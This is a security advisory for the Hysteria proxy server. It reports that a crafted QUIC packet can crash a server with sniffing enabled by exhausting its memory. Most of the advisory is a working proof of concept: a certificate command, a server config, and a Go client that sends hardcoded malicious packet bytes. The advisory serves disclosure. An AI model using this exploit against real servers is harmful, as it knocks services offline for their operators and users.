Hysteria: A specially constructed quic package can crash the server OOM when the sniff is enabled
Summary
A specially constructed quic package can crash the server OOM when the sniff is enabled.
Details
When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.
PoC
```
openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null
```
server.yaml
```
listen: :8443
tls:
cert: localhost.crt
key: localhost.key
auth:
type: password
password: mypassword
sniff:
enable: true
outbounds:
type: direct
default: true
```
poc.go
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/apernet/hysteria/core/v2/client"
)
func main() {
serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
password := flag.String("password", "mypassword", "Hysteria server password")
flag.Parse()
serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
c, _, err := client.NewClient(&client.Config{
ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
})
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer c.Close()
var maliciousQUICPacket = []byte{
0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,
0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,
0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,
0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,
0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,
}
udpConn, err := c.UDP()
if err != nil {
fmt.Printf("[-] UDP error: %v\n", err)
}
targetAddr := fmt.Sprintf("8.8.8.8:443")
fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
_ = udpConn.Send(maliciousQUICPacket, targetAddr)
// Wait longer to ensure packet delivery
time.Sleep(3 * time.Second)
fmt.Printf("[+] Done.\n")
}
```
Impact
When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).
